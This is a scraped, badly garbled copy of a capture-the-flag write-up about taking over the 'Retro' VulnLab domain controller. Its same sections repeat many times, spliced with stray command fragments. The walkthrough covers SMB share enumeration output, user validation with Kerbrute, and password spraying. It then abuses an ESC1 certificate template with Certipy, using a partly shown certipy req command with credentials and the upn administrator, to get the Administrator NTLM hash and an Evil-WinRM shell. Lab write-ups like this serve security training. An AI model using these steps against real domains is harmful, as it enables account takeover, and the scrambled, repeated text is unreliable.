[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 -p ‘banking1234’

SMB 10.10.124.218 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)

SMB 10.10.124.218 445 DC [+] retro.vlBANKING$:banking1234
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 @retro.vl -p ‘banking1234’ -c ‘retro-DC-CA’ -target ‘dc.retro.vl’ -template ‘RetroClients’ -upn ‘administrator’ -key-size 4096 -debug
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 -p ‘banking1234’

SMB 10.10.124.218 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)

SMB 10.10.124.218 445 DC [+] retro.vlBANKING$:banking1234
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
